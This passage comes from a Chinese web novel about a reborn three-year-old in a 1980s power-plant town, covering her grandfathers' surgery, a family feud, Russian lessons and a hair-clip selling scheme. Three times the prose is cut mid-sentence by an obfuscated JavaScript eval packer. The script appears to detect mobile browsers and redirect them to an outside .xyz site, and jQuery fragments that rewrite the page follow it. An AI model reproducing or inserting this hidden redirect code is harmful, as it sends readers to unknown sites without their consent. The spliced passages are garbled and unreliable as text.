“要不上班去了，要不没搬来，我也不认识啊。” 马天华觉得自己是被带沟里去了，“总之，不许随便吃药，你不可以，也不可以给另人吃，听到没有，回去就把硝酸甘油片和速效救心丸几个字给我认会喽。” “哦，那行，知道了，好好学习，天天向上。”马丽丽心说家里有个当医生的爸和数学老师的妈就容易这样，语文是从药瓶上学的，生物是在案板上学的，数学是在小摊贩那里学的。 马天华也觉得心累，三岁小孩就这么难搞，还好单位规定只能生一个。 父女俩都没发现在房间里，孙振华睁开眼睛听了半晌，又闭上了眼睛。 马丽丽以为这事儿就算完结了，但很快事情有了新的发展。 也不知道孙振华咋想的，他跑到徐正义家一通说，结果就是徐正义和孙梅都要跟着孙振华一起去章市做身体检查。他俩都去，徐□□自然也要跟着，毕竟是亲爹亲妈，反正她现在也放暑假呢，问题是徐明红咋办？她才十三岁一个人在家那还不翻天了？两口子一合计，把她也带上了。 最后孙振华一个人带徐家四口人去章市，预定时间一星期。 “哈？那我和爸吃饭咋办？”马丽丽知道后傻眼了，“我也要去！” “你去干嘛，姥姥姥爷是去看病的，你去谁招呼你？医院乱的很，到时候来个拐子把你拐跑了我上哪找你去？”徐□□一边收拾行李一边说，“到时候你爸去打食堂，也吃不了几天我们就回来了，到时候给你买礼物哈。” 可恶，三岁真的啥也干不了。马丽丽气鼓鼓，她想去是希望能找机会能提醒姥爷能好好检查一下肝，他上辈子就是肝病转肝癌去世的，也不知道现在的情况。 章市的医院比马丽丽想的厉害，他们发现徐正义的肝有病变，检查后疑似恶性，孙振华也不怎么样，他的心脏更是不负重荷。反倒是孙梅的冠心病控制的比较好，只要注意饮食控制体重，注意休息避免劳动过度，按时吃药，暂时没有太大问题。 孙振华的儿子孙伟名在粤省上班，他知道后很快就联系了粤市的医院，邀徐正义和孙振华一起去粤市治病。 虽然不知道孙伟名为什么干这种吃力不讨好的事，但徐正义在家人的极力劝说下还是去了。 徐家人凑了一笔钱，然后由徐□□和徐东来轮流到粤市去照顾徐正义。 这本是理所当然的事，毕竟是亲爹，然而还是让徐东来的老婆刘敏不满了。 马丽丽在和马天华去食堂打饭的时候，听到这位大舅母正在食堂门口与人大放厥词：“……出了一千块呢，把我们家底都掏空了，还要我们家东来请假去伺候老头子，一点进帐都没有，这是要逼死我们家呢……”旁边八卦的女人连连点头。 马丽丽心想，大舅母年轻的时候嘴可真臭啊，完全没有后来欠他们家十几万的时候那么和蔼可亲，难怪姥姥姥爷当初这么反对这门婚事。 这话被她一说倒好像老徐家做的不地道似的，让大舅舅出钱又出力，但哪家不是呢，我妈不也请假去了吗？要是你爹生病你也站食堂门口这么说我才服你。 正在跟刘敏敏八卦的女人看见了马丽丽，捅了捅刘敏敏，“别说了，你侄女看着呢，小孩可会学说话。” 刘敏瞥了马丽丽一眼，故意道：“我说的又没错，马丽丽，你说大舅母说的错没错。” 马丽丽假装想了想，点点头，刘敏得意的撇了一下嘴，马丽丽说话了：“那大舅母你还有一千块钱吗？不给你爸爸你也要伺候他呢，不然你是不是要再死一次呀？哎呀，徐航（刘敏的儿子，目前一岁）也没有一千块钱呢，他以后还得伺候你，不然就得死，唉，要命。”马丽丽假装不理解的皱起脸。 跟刘敏八卦的女人眼神顿时乱瞟，憋笑不敢看，刘敏愣了一下，气得七窍生烟，她正要破口大骂，马丽丽抢先张口，“我妈不让我跟不认识的人说话，你不是我大舅母，我没在姥姥家见过你。”说话扭身跑去找老爸了，只留刘敏在骂街，马丽丽只当没听到。 旁人过来过往的听到刘敏骂人，有明理的的撇撇嘴，“不让人照顾亲爹还有理了”，有的上前劝，“小孩子又不懂，她怎么惹你了？”还有觉得她连三岁小侄女都骂太刻薄，“跟婆家关系这么差，难怪人家小孩都不知道你是谁”。 刘敏气个半死，心道， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14936068|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她都知道我儿子叫徐航还说不认识我？ 不过不管她怎么说，大部分厂里的人都知道了刘敏不但不让老公去伺候亲爸还把气撒在马丽丽身上的事。 舆论几乎是一边倒的倒向了徐家，刘敏老爸刘文海知道后差点没气死，他火速叫来大女儿把她臭骂一顿，他可不想再跟徐家结仇了。 当初最早的时候刘家和徐家还是上下楼的邻居，小时候刘敏就爱缠着徐东来，那时候刘文海还是很看好徐家这个亲家的。 别看徐正义现在到老也只是个组长，他可是电厂元老中的元老，电厂还没影的时候就和地质队爬山头定位置。八辈贫农，当年“十年”的时候他是负责看管木仓杆子子蛋的小头目，之后电厂就没出过火并事件，光看“十年”过去后他不但啥事没有，后来在子弟学校当了几年团支部书记又转回厂内组当组长就知道能耐了，人家还是高级职工呢。 刘文海也知道自己大女儿从小就是个“厉害婆”，不过徐东来虽然个子高模样俊，但从小就是个腼腆性子，他俩这样不也搭的挺好的嘛。 谁能想到徐家对这桩婚事如此反对，是，刘敏是使了点小心机才跟徐东来结婚的，刘文海也只当不知道，但如果徐东来不同意也没人能逼他吧？ 刘家还觉得这事儿自己是占理的，可是万万没想到刘敏结婚后才几天跟婆婆大吵一架，差点没把孙梅心脏病气发作，徐家火速决定用大房子换小房子干脆离大儿子和刘家远远的。 结亲变成了结仇就够糟心了，之后的事却更糟心。 刘敏原本做的好好的办公室临时文员突然被抽调到招待所去当服务员，活都不算累，但工资少了四分之一。 还有刘文海的小儿子刘洋，刚从技校毕业分回来，原本都说好了给电工高师傅做学徒，可是高师傅突然亲自拿着拜师礼上门道歉说自己感觉精力有限不适合带徒弟。 刘洋在学校成绩不好，没有师傅就没办法进车间，刘文海只好赶紧的到处找关系，可是几个车间师傅都用各种理由拒绝了他，最后不知怎么回事一来二去的，刘洋回来之后竟然被分去烧锅炉。 这可是个重体力活，刘洋才干了几天就受不了，可就算刘文海又搭上去不少人情礼物，刘洋还是在一年后才转到运行车间去做值班员，虽然要值夜班，但总比烧锅炉强。 要说徐家没在这后头推波助澜刘文海是不信的，可他没法对谁说，要是让大女儿知道了，她肯定又是几场大闹，最后会怎么样还真不好说，要是儿子再心生怨恨，这个家就要不得安宁了。 最后刘文海也只能打碎了牙往肚子里咽，决定大女儿要再搞出什么事也再不偏向她。 所以这次刘敏骂街的事一出，刘文海立马把她叫回来臭骂一顿，甚至又咬牙凑了五百块钱让女婿带去给徐正义，叫他好好补补身子。 刘家的示好，徐正义默默的接下了，真是，早干嘛去了？现在才想拉关系，当初干嘛不把儿子女儿教好点？ 7.第七章 孙伟名在粤市也是在一个电站上班，年纪轻轻就已经是副厂长了，为了给俩老头手术加养病，他特地在离医院不太远的地方租了一套房。 可是这里再舒服也不是自己家，在粤市呆了快两个月，徐正义现在迫不及待的想回到幸福小镇。他跟孙老头一商量，孙振华也是差不多的意思。 孙振华的老伴田文珠原本就在粤市儿子家做客，这会儿正好跟他一起回去。 孙振华说要走，他的亲家就托话过来说想大家一起吃个饭。孙振华答应了。 老孙两口子赴宴去了，徐正义也准备出门溜达溜达，徐□□当然是不同意，无奈倔不过老爷子。 好在孙伟名租的房子离医院就两站路，这附近也挺繁华的，两人下楼来沿着街道向医院的反方向慢慢散步。 走过一条街，又拐进一条小街，又走了一段路，徐□□突然发现一条生意十分火爆的小街。小街不算长，地段也不好，里头很是曲折，但人却很多。 两边的店门都不大，门口都坐着一个在做手工的女人，脚边是一包包或是一捆捆的东西。来往买东西的都是男人，他们扛着各种各样的麻袋或布袋，一边掏钱一边往袋子里扔东西，一会儿袋子满了就离开。 “过去看看。”徐正义说，两人便走了过去。 这里果然热闹的很，在街口，徐□□看到有一个做手工的女人脚边放着一个大篮子，里面是各种发夹头花，她不由的拉着徐正义走了过去。 “一块一斤，不挑拣。”女人编着绳子头也不抬的说，普通话中带着很重的本地口音。 什么？照斤称？徐□□愣了一秒钟，脱口而出，“能不能便宜点？” 女人抬头看了她一眼，“不讲价。” “那来两斤。” 女人放下手里的活，站起来去里面拿了一张报纸和一个称出来，抓起几把发卡放称盘里，加减了几次，徐明惠换了几个，女人不让，两人又掰扯了几句。最后够称了，女人把发夹都倒在报纸里，包成一个包，用麻绳一捆，然后递给徐明惠。 “你买这么多干嘛，几个头都戴不完。”徐正义对这些小玩意儿不感兴趣。 “哎呀爸，这发夹要在百货公司买，小的几分钱大的几毛钱，我这一大包才两块钱，多划算，而且我们那还没这种的，到时候红红拿几个，丽丽戴几个，就没多少了。” 这条街除了卖发夹的，还有其他许多小玩意，徐明惠总忍不住想买点什么，但她还是忍住了，一来徐正义现在的身体可经不住这挤来挤去的，二来她也没带啥装东西的袋子，不方便。 回去后徐明惠又一个人去逛了几次街，每次都想买一点，结果买了一大堆，她只好偷偷去邮局把所有东西都邮寄回去。 几天后到了回家的日子，行李都准备好了，票也买好了，孙伟名走了关系，四人的票都是在一个车厢。临走前他慎重的将父母交给了徐明惠，把徐明惠都整得不好意思了，感觉就是沾了大光。 火车是下午从粤市出发，晃晃悠悠十几个小时，到章市正好是上午。 徐明惠作为主力，带着三位老弱病大包小包的先到电厂的驻章办事处住下。 办事处就在供电局旁边的一个靠街小楼，两个上下楼的套间，都是两室一厅带厨房卫生间，每个房间都有两张单人床。楼下就有直接到火车站和汽车站的公交车，平时还有招待员负责搞卫生和煮饭，非常方便电厂里来章市办事、培训、开会、临时过路的人住这里。 孙振华他们到的时候楼上的房间都住满了，楼下两个房间住着来开会的办公室主任谭风和科员王杰。一见到孙振华一行，谭风立马带着王杰到楼上加床住，把楼下两个房间让了出来。 孙振华推辞的时候谭风说：“孙老和徐师傅都是我们厂里的老人了，我一个晚辈礼让不是应该的吗？”说着硬是搬了上去。 四人舒服的洗了个澡，两个病人就先休息了，徐□□抓紧时间去车站买了回县里的汽车票，回来的时候见到田文珠正和招待员一边摘菜一边聊天，便加入了她们。 招待员也是职工家属，在这里上一个月班就可以回电厂休息一周，然后在电厂上一个月班又来这里上一个月。 平时有人来的时候就煮煮饭，人走了就换洗床单什么的，工资一般，不过活也不算累，还挺自由，有空在章市还能逛逛街什么的，比在幸福小镇有意思多了。 几人聊着天很快饭就做好了。 “吃饭了。” “怎么没有其他人吗？”孙振华奇怪的问。 “害，其他人马上就到，你们先吃，他们的都在锅里。”招待员把菜端上来，她还特地给两个病号做了个病号菜，肉沫蒸蛋。 手术后俩老头胃口一直都不太好，孙老头把蛋分了老伴一半，徐老头却挺喜欢吃，一个人都吃了，徐□□见了暗暗记下，转头去问了招待员做法。 第二天大家一大早吃了早饭往汽车站出发，今天不赶时间，八点半的班车十点到县城，大伙还逛了逛街。 今天是县里头“逢墟”的日子，快中午人已经不多了，但是田老太太还是买了几把菜。几个月没回家，家里是啥菜都没了，不买点就只能吃食堂，可是孙振华现在这身体也不适合吃食堂。 午饭是在菜场旁的小馆子里解决的，还好现在很多小饭馆吃饭都不用饭票了，吃完午饭，大家休息了一会儿，便慢慢走路去坐船。 走走停停四十五分钟才到码头，小汽轮船座位不多，船票都是一个价，早到的有座，晚到的就只能站着了。 徐正义一行人来的早，都有座，很快逢墟之后回家的村民们就挑着扁担或骑着自行车来了。有自行车的都自觉把车整齐排在甲板上，没座的就直接坐扁担上，或是把箩筐翻过来当凳子坐。 三点准时开船，小汽轮“突突突”倒是平稳，回幸福小镇是逆行要两个小时，很快就有人打起了瞌睡。 坐在田文珠旁边的一个老头，点起了自家的土烟袋，虽然大部分的烟雾都向后飘去了，但另一旁的孙振华还是忍不住咳嗽起来。 田文珠忍不住对老头说：“这位同志， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943651|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我家老头子刚做了心脏手术，闻不得烟味，能不能麻烦你不要抽烟？” 老头连忙在鞋底磕灭了烟袋连声用土话说：“哎呦，对不起了，大妹子，我这就熄了，这就熄了。” “谢谢同志了。” “唉，没啥没啥。哎呀，这位老哥哥做心脏手术？这么严重的啊？这没事吧？咱县里都能做这么厉害的手术？你们是哪的？” “我们是在粤市做的手术，刚回来，幸福小镇的。” “幸福小镇？是电厂的吧？” “是啊。” 老头又对孙振华说：“哎呦咧，粤市厉害的咧你是吃商品粮的干部吧？” 孙振华：“不是干部，不是干部，我儿子在粤市上班，方便，那边做手术好才叫我去。老哥你是哪的？” “我是青浮的。” 路上闲着无事，三人便热情的聊了起来，老头也是逢墟来卖点自家种的菜，青浮村不算远，老头临下船时还硬塞了一根没卖完的丝瓜给田文珠。 “都是自家种的，我带回去也是自家吃，别嫌弃，别嫌弃啊，拿回去打汤，好吃的。” 田文珠拿着丝瓜还怪不好意思的，“哎这老哥客气的。” 另一边徐正义坐在靠窗的位置，船开没多久他就开始感觉手术的地方有些隐隐作痛，他用手按着也不敢用力。 很快，徐明惠就发现了异常，她轻声问：“爸，怎么了？是伤口又痛了吗？要不要吃颗药？” 徐正义摇摇头。 徐明惠竖起一个装着衣服床单的小旅行包衬在徐正义背后，船上座位靠背太矮，小包正好枕着头，徐正义就这么闭目养神。 晃晃悠悠时间一会就过去了，仿佛才一眨眼就到了幸福小镇。 小汽轮缓缓入码头，徐明惠一肩抗着行李，一手扶着徐正义慢慢走到甲板上。对面岸边，来接船的马丽丽已经按耐不住了。 “妈！妈！姥爷！”马丽丽挥手大叫。 同来的徐东来和徐高远也挥了挥手，等船靠了岸，他俩一个扶着孙老头一个扶着徐老头嘴里说着“慢点慢点”把他俩搀扶下来。 “姐，我借了个三轮车在上面，呆会把行李放车上。”徐东来说，“爸和孙工，我骑车带着你们走，自己走，累。” 徐高远更是想抱怨两句，虽然他之前一直在做毕业实习，可是这么大的事竟然也没人想到要告诉他一声，还是他回电厂办入厂手续才知道的。 大家伙儿说着话一起上了楼梯来到大路上，三轮车就停在路边，后车厢里铺了一层旧帆布，上面还放了三个凳子。 “我带你们吧。”徐东来解下三轮车，徐明惠把行李放在凳子中间。 “不用不用，我们自己走走，老徐，你上去吧，我看你一路都不舒服，是不是晕船啊？”孙振华坐了这么久的船是真想活动活动。 “好像是有点，在船上老不得劲，可能是有点晕船，唉，我也走走，活动活动。老大，你带行李就行。” 几个老的都说走路，其他人也只好随他们。 8.第八章 徐正义正要走，差点忘记马丽丽还抱着他大腿呢，他想抱走她，又没力气，只问：“丽丽，叫人了吗？” “孙爷爷好。” “还有呢？这是田姥姥。” “田阿姨好。” “……” “哎呦，这孩子，什么阿姨，我都是姥姥了。这就是丽丽吧，我听你妈妈说过你，是个听话的好孩子，长得怪好看的。”田文珠一下子就乐了。 马丽丽能说她妈妈有个同学也姓田，她这是叫顺嘴了吗？不能，哎，就让这美好的误会一直误会下去吧。 徐高远把马丽丽捉到车上，“你就上车吧小短腿，我们可等不了你。” 马丽丽爬在旅行包上嘿嘿笑，问道：“粤市好玩吗？有什么好吃的？姥爷和孙爷爷都好了吗？妈你给我买东西了吗？买啥了？” “买了买了，就知道买买买，吃吃吃，回家就知道了。你姥爷和孙爷爷手术都挺成功的，之后要好好休养，你可不许捣乱知道吗？” “乌拉！”马丽丽欢呼，上一次姥爷就是几年后检查癌症晚期去世的，这一次应该不会了，她也是长大后家里有老人的孩子了。 “马丽丽，你知道乌拉是什么意思吗？”孙振华突然问。 “乌拉就是万岁啊，~\(≧▽≦)/~”这谁不知道。 “你还能说其他的不？” “……普利维特？” 孙振华呵呵一笑，“会的还挺多。” “那是，听我爸说的。”马丽丽心想，我还会一句“瓦西格里谢尼亚”，反正也不知道啥意思，嘻嘻。 所有人一起看向马天华，马天华干笑两声，“我以前也学俄语的，不过都差不多忘光了，呵呵。” 孙振华说：“既然如此，那就让丽丽跟我学一学俄语，反正我也闲着没事，孩子从小学基础也容易打，多学一门手艺没啥坏处。” 既然什么就如此了？马丽丽目瞪口呆，怎么一会儿她就要多学一门手艺了？这是哪门子的手艺？ 在学习这方面，小孩子是没什么发言权的，以前那是没人教，现在有老师，还是专家级别的，那还等什么？ 于是事情就在“那怎么好意思？”“都是邻里邻居的有什么关系。”的客套中和马丽丽的心梗中定下了。 唉，只能用花滑里漂亮的鹅太子和鹅公主们来安慰一下了。 一路打招呼一路问好，刚走到楼下就听见楼上一声脆响：“他们回来啦！”上了二楼，徐明红站在门口一脸开心，“你们可算是回来啦。”话才出口她就发现人群里有两位不大熟悉的人，她脸上笑容一顿，扭头就往屋里头窜，还大喊，“妈，他们回来了。” “这丫头真是，像个假小子似的。”徐□□打了个圆场，“孙叔，田姨，今天就过来对付一顿呗。” 马丽丽立刻接话：“啊，对对对，姥姥煮面了，出门的饺子回家的面。” 孙梅端了两碗面放在桌上，擦着手出来，“都是邻居还客气啥，你们这么久没回来，回家怎么吃哦，到我家里对付一口，明天再做饭嘛。你看看，刚回来，孙工也是要好好休息的人，别整的这么累。” 其他人都劝了几句，见徐家人这么热情，田文珠看了孙振华一眼，干脆的说：“就麻烦老姐姐了。” “看你说的，都煮好了，快点的吧？” 一群人又热热闹闹的进了徐家，桌子小没关系，椅子凳子够就行，每个人都有一碗热气腾腾的面，里面还卧了个蛋，桌上有小菜，花生米、豆芽、大头菜，大伙就着小菜一边聊天一边嗦面条，等孙老俩口回家后对着安安静静的屋子竟然还有些不习惯，孙振华决定，马丽丽的课就先定在每个周末吧。 马丽丽一觉醒来便知道了这个“噩耗”，她后天就要开始上课了，明明她还是个“文盲”，应该还不会中国字，为什么就要学毛子话了啊？ 可恶！ 直到托儿所马丽丽还是打不起精神，她蹲在树下数蚂蚁，心里给自己做建设。 啊，那什么，就是多学一门手艺的事，对吧？ 不远处一个穿着罩衣和开裆裤的小胖子摇摇摆摆像只小鸭子似的走了过来，问：“马丽丽，你在干嘛？” 马丽丽没理他，他便自顾的蹲在了马丽丽的旁边，捡起一根树枝捅蚂蚁。 “你干嘛？”马丽丽没好气的说。 “啊？”小胖子一抬头就重心不稳的向后滚了半圈，马丽丽吓了一跳，赶紧把他拉起来。 小胖子站起来嘿嘿笑了一下，小短手拍了拍衣服能够得着的地方，突然一字一顿的大声说：“我姐姐叫顾明月，我叫顾星星。” 马丽丽：“啊？” 顾星星问：“你为什么不问我明月和星星是什么意思？”不等马丽丽说什么，他又自顾自的说起来：“在夜晚，天上挂着一轮圆圆的月亮，那就是我姐姐，旁边有许多小星星，那就是我。” 马丽丽：“……”啊行行行，希望过几年港城那位星星横空出世的时候你还能这么开心。 这时朱莉莉小朋友突然气势汹汹的走了过来，一把推开顾星星，大声说：“顾星星，不许你跟马丽丽一起玩，你三岁了还穿开裆裤，羞羞不要脸。” 一起进了托儿所后，朱莉莉同鞋说话技能锻炼的飞快，很快就能流利的说大段的话，朱爸爸直呼后悔没早一点把她送过来。 周围穿开裆裤的小朋友们闻声都转过头来，朱莉莉霸气十足一手叉腰一手举起两根手指，“咔嚓。”小朋友们本能的感觉裆下一凉，然后全部哇哇大哭起来。 马丽丽火速拉着一脸茫然的朱莉莉开溜，与赶来的老师错身而过。 “你可真行啊。”马丽丽呼气道。 朱莉莉恢复软萌状，她吸了一下鼻子，“马丽丽，我们去喝水吧，我爸说要多喝热水，不然会感冒的。” 好吧，这话没错，八十年代虽然也有秋老虎，但秋天就是秋天，风还挺凉的，不像未来夏天一秒入冬这样子。 托儿所的日常很无聊，马丽丽有点迫不及待希望周末赶紧来到了。 周末一大早马丽丽就从床上蹦起来，自己穿好衣服鞋子刷牙洗脸，马天华徐□□也是第一次当父母，只觉得女儿太可爱了乖得不行。 早饭依旧是可怜的馒头、稀饭、豆浆、榨菜，马丽丽不爱吃也没办法，人小没抗议权。 跑去孙振华家，他家吃的也是馒头豆浆，不过炒了个菜，顿时就感觉好吃多了，老俩口吃的比较克制，量都不多。马丽丽正是见着吃的就流口水的年纪，好在她并不是真的三岁，总算给自己赚了点面子。 孙振华慢条斯理的吃完了早饭，擦擦嘴，漱漱口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948568|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，洗洗手，刷刷碗。 马丽丽像只猴似的左右跳脚，“我们学什么呀？我中国字都不认识就学毛子话能行不？小姨说以后都考英文了我还要学毛子话，考试也用不上。” 孙振华一边做事一边慢悠悠的回答：“多学一点没坏处，不考试也没关系，可以申请考嘛，人家小毛子文盲不也直接学毛子话。”他顿了一下，等会，他为什么也要用“毛子”，都是让马丽丽给带偏了。 嘛，算了，这都是小事，孙振华从房间里提出一个小录音机，又拿出一盘磁带放进去，“今天我们学这个。” 磁带里传出熟悉的旋律，但歌曲却是十分陌生。 “Ой, цветёткалинавполеуручья Парнямолодогополюбилая.” 孙振华拈起一支从青菜上掰下来的菜花递给田文珠：“老伴，来活动活动，消消食儿。” “搞怪。”田文珠嘴里嗔怪，脸上却露出惊喜又羞涩的微笑，手也搭了过去，两个人就这么在狭小的客厅慢慢转起圈来。 啊，这就是传说中的“少女梦幻の微笑”吗？马丽丽撑着手，感觉自己一大早就被塞了碗老年狗粮，真是极差的学习体验呢。 “Алюбовьдевичьяс каждым днем сильней.”田文珠一边摇摆身体一边轻轻哼唱，马丽丽仔细听了一会儿，发现她唱的跟磁带发音一毛一样，不由问道：“田姥姥以前也去留过学吗？你们以前是同学哦？” “不是啊，我们那时候女人留学可难着呢，这都是你孙爷爷后来教我的哦。” 又被灌了一碗狗粮的马丽丽：好的，谢谢，有被撑到。 一边唱歌一边学发音是个好方法，马丽丽模仿还是不难的。但问题是俄语本身就很变态，语法加时态，单词还超长，马丽丽这个伪儿童也学得头晕，她倒是很清楚，自己只是重生，又不是变天才。 孙振华让马丽丽头晕脑胀的时候就改学英语换换脑子，听听，这是人话吗？ ……呃，别说，好像有点用。如果说学俄语好像孙悟空举着金箍棒大闹天宫三百回合，英语就跟隔壁朱莉莉拿着小棍捅蚂蚁窝一样，这种落差确实，好像，仿佛有助于学习英语。 马丽丽试着念一个俄语长单词，结果把自己舌头给咬破了，她忍不住问孙振华：“孙爷爷，毛子国是不是特别冷？” 孙振华想了一下，说：“冬天是很冷，还下大雪。” 马丽丽：“难怪。” 孙振华：“怎么难怪？” 马丽丽：“难怪他们讲话这么烫嘴，肯定是天太冷了喜欢吃烫的，然后一说话就烫嘴。” 孙振华：？？？ 马丽丽：“而且他们的肺活量应该很大吧？一个单词这么长，一句话一口气都说不完，啊，难怪他们说话这么快，跟烫嘴似的。”说完马丽丽还模拟了一个怪样，捂着脸叫道：“卟鲁卟鲁卟鲁，巴拉巴拉巴拉，付斯几付斯几。” 孙振华：…… 等马丽丽回家后，孙振华忍不住回忆了一下，发现他认识的说俄语的还真是，语速挺快，他自己试了试，就，还慢不了，一慢就怎么都感觉有点儿不对劲。 孙振华一拍脑门，个死孩子，把他都带跑偏回不去了。 9.第九章 还好马丽丽不知道孙老头的心理历程，不然她就得给他讲一个长胡子老头睡觉的时候胡子是放被窝里还是被窝外的故事了。 孙振华最近过得很悠闲，他和徐正义本来年纪就大了，现在又属于重病，经过厂里领导们的讨论后，两人目前都处于半退休状态。 徐正义坚持没有退休，因为他退休的话儿女有一人可以顶班，但是大的三个儿女如今都已经是电厂职工了，最小的徐明红年纪又太小，他希望能坚持到徐明红十六岁，那时候她就能正式顶班了。 这件事徐□□要求大家不要告诉徐明红，徐□□对妹妹很了解，这丫头要是知道自己未来已经确定，肯定就不会再认真读书了。 徐□□在粤市买的一大包东西在半个月后终于到了，她带着一个大大的邮包回到家，打开的时候马丽丽一蹦三尺高。 “这个这个这个，我要，这个这个给小姨，这个这个妈你留着，这两个给姥姥，唉妈，你怎么买了这么多啊，咱摆个摊不？” “摆什么摊啊，这就是买来自己用的，就是一不小心买，买多了点，那边可便宜了，都是按斤称，一两块一斤，我们这百货商店的还没这好看呢，好几毛钱一个，你说划不划算。” 马天华无语，“划算，但你有几个头啊，能戴这么些。” 好好的老公说出了老爹的话。 “瞧你这话说的，你家亲戚这么多，还有小朋友，一人送一个也去了一大半了。”徐□□历数了一下马天华的兄弟姐妹妯娌亲戚。 “送人送这个也拿不出手啊，哎，算了算了，自家人用用，别送了，懒得拿。”马天华觉得着实麻烦。 徐□□撇嘴，她还不打算给呢，一大家子这么多人给谁不给谁都是事儿。 马丽丽可没管这么多，她花了几天的时间用盒子把徐□□买的东西都分了几类。 徐□□买了几条真皮皮带，这都是好东西，家里头男人们一人一条，多的也没有。 两包发饰被仔仔细细分了几盒。头上用的小铁夹子不值钱，百货商店就有，不过都是黑夹子，徐□□买的赤橙黄绿青蓝紫，什么颜色都有；然后是碎布头做的发夹，样式新颖，就算是章市也没有，料子也不错，都是纱啊缎啊做的，这些最多；还有一部分是硬塑料做的发扣，大红的硬塑料做成大大小小各种蝴蝶结的样式，后面粘个发扣；还有几个皮子做的发兜，真皮倒是真皮，也不知道是做什么的边角料剩下的，剪成方形或是椭圆形，上面镂空刻着些许花纹，配一根木簪子。 有一包是不值钱的小首饰，里面有小铁皮做的戒指，上面抓着塑料假宝石；有金属的耳环耳夹，镶嵌着假钻或是小羽毛；还有灌着不知名的油状物和闪闪发亮的小亮片的塑料管子手镯和木头手镯……这都是小孩子玩意儿。 另有一大包的扣子，大的小的木头的塑料的贝壳的扁的圆的方的，马丽丽学着百货商店那样按大小分了三盒。 还有一包布贴，都是一对一对的缝在一起，有可爱的小动物，也有莲花菊花等花样，这可是时代特色，因为物质短缺，很多人还穿着打补丁的衣服裤子，尤其是小孩子，膝盖手肘部位磨损快，所以大人喜欢买一对布贴缝在膝盖上，约等于就是好看的补丁了。 其他还有一些小零碎针头线脑，都是徐□□觉得便宜就买了的。 不管徐□□和马天华是怎么想的，马丽丽是决定了要试试当一次小商贩，年代重生文里的主角们都是从小商贩开始发家致富的嘛，这货都有了，唯一的问题是马丽丽现在才三岁，啊，麻烦，先想办法怂恿小姨跟她一起干（背锅）吧。 说干就干。 马丽丽跑去找徐明红一说，徐明红立刻拒绝三连，什么做生意？做什么生意？她才不做生意！ 虽然改革开放都快十年了，但人们一说起自己做小买卖的就会想起“投机倒把”，割资本主义尾巴，徐明红坚决不搞这一套。 马丽丽没办法，唉，小地方的人就是这样啦，想发家致富也是很难，她只好把小铁夹子每种颜色抽一支出来给徐明红，“小姨，这给你。” 有新鲜玩意儿徐明红倒是不拒绝，她欣喜的拿了一支小夹子立马夹在刘海上。 “不是这样啦，要全部夹上去。”马丽丽给她示范，也没有全部夹，夹了六根，一个颜色两根这样子，在刘海上夹了一排。 “看起来好奇怪。”徐明红拿着镜子照来照去，心中犹豫，有点好看，但又怕人说。 她这个年纪的小姑娘心理很矛盾，既想出风头，又不愿意与众不同。 “哪里奇怪，就是好看啊。”马丽丽吹捧几句，又说，“那你要不要噻？” “要啊，干嘛不要？”徐明红在盒子里挑挑拣拣，拈出一个塑料的小红鱼来。“咦，这个好看哎。”她在头上比划。 现在的东西做的都很扎实，不像以后的做工，都是轻飘飘的空壳。这个小鱼发夹一面粘着铁夹，一面刻着鱼鳞鱼头，灵动可爱。整个“小鱼”油亮透红不匠气死板，做的没有一点毛刺，不勾头发。 夹在马尾上好看，双马尾夹一边也是俏皮，徐明红越试越爱不释手。马丽丽还给她试了个新戴法，把刘海都撸上去夹住，小鱼正好在头顶心上，徐明红觉得自己美爆了。 “这个，这个得多少钱啊？”徐明红不好意思的问。 “这个啊，得五毛钱呢。” “这么贵？”徐明红吓了一跳，这都能扯一尺的确良了，她反射性的扔回盒子，过了一会儿又小心拿出来，舍不得放下。 “这些都给你啦。”马丽丽大方的把一盒七八个小首饰都推给徐明红。 “真的吗？”徐明红惊喜万分，完全没感觉自己才三岁的小外甥女说话咋这么一套一套的，几块钱的首饰说送就送她了。 马丽丽不遗余力的把每个小首饰都介绍了一遍，重点说了一下价格，然后还把几个带夹子的首饰夹在徐明红的衣领上、口袋边。 “这不也挺好看的吗。” “还真是。”徐明红照照镜子，举一反三把几个彩虹小铁夹夹在领子上，素色的衣服顿时好看不少。 “要是她们问我要这夹子怎么办啊。”徐明红开始担心起来，其他首饰要几分几毛钱一个，但这铁夹子可不值钱，百货商店里卖的小黑夹一毛钱一排有二十个呢。可是要徐明红送人她又舍不得，得夹出彩虹色才好看，送几个就缺色了。 “这还不容易，你跟你同学说这个一个换十个豆豆糖，或者是一个牙膏皮，如果有人换你回来找我，我要牙膏皮。”马丽丽立马有 